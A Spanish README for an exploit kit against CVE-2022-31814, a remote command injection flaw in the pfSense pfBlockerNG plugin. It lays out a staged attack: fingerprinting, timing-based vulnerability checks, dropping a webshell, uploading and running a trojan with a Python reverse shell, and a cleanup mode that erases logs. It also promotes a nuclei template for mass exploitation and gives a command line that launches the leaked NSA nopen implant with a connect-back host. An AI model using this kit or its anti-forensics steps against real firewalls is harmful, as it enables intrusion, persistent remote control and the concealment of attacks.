CVE-2022-31814 Kit de explotación.
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) Kit de explotación.
Este es un kit de explotación para la inyección remota de comandos en los plugins pfSense pfBlockerNG <= 2.1.4_26 descubierta por IHTeam.
Escribí esto para jugar con algunos de los principios de diseño encontrados en el kit de explotación de cortafuegos de la NSA; por esta razón, está diseñado para ser totalmente compatible con el implante nopen (se necesita un pequeño cambio documentado), tiene funciones integradas de borrado de registros y es extremadamente confiable al implementar algunas comprobaciones previas al vuelo (pruebas de vulnerabilidad pasivas y activas).
Se proporciona un payload trivial de shell TTY inversa escrito en Python (estos sistemas incluyen un intérprete de Python) como sustituto de nopen en este kit, porque ejecutar binarios sospechosos tomados de la NSA parece un poco imprudente en entornos de producción.
Para escaneo yolo para bounties principiantes y explotación masiva, ejecute la plantilla nuclei proporcionada (ya debería haber sido subida a upstream). Esto le dará una lista de objetivos. Este archivo se llama nuclei-CVE-2022-31814.yaml.
Para el cuidado de precisión de redes, hay cuatro "modos" que debe conocer, y se documentan a continuación. Ejecútelos en orden. Estos se configuran usando el flag "--mode".
Este modo realiza dos solicitudes HTTP: una para verificar que realmente es un pfSense (comprobando el título HTTP en /), y otra al endpoint vulnerable para verificar que se vea bien. Este modo no explota nada.
Este modo realiza dos solicitudes HTTP, ambas explotan la vulnerabilidad. Inyecta un sleep 1 y un sleep 10 y se asegura de que la diferencia de tiempo entre ambas solicitudes sea mayor a 6 segundos. Agregué un poco de factor de despreocupación para considerar la latencia si estás lanzando el exploit a través de un proxy (lo estás haciendo, ¿verdad?).
Este modo realiza 3 solicitudes HTTP. La primera explota la vulnerabilidad para soltar un webshell usando una solicitud GET. La segunda usa el webshell para subir nuestro troyano mediante una solicitud POST. La tercera usa el webshell para ejecutar nuestro troyano mediante una solicitud POST.
Este modo realiza dos solicitudes HTTP. La primera sube un script de limpieza usando el webshell. La segunda ejecuta el script de limpieza. El script de limpieza elimina los registros, borra el troyano, borra el webshell y luego se borra a sí mismo. Lo hace de manera razonable (rm -rf). No es particularmente sólido forensemente; quizás lo arregle más tarde usando dd para sobrescribir los archivos antes de borrarlos. También podría escribir algo de magia con sed para eliminar quirúrgicamente los registros, pero realmente, solo si tengo ganas.
Para usar nopen, simplemente reemplaza el comando final "execute trojan" en la función exploit() con lo siguiente:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
Y proporcione un binario freebsd nopen (noserver) que funcione en su sistema objetivo; esto puede ser difícil, necesita parchear el noserver-3.3.2.3-freebsd_8.0-i386 del leak de EQGRP para usar libkvm.so.7 en lugar de libkvm.so.5, y el sistema objetivo necesita la capa de compatibilidad lib32... Que no viene por defecto en pfSense.
Podría agregar un flag --nopen para automatizar esto en una versión posterior, si la gente realmente se preocupa tanto por usar nopen. No deberían.
IHTeam Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/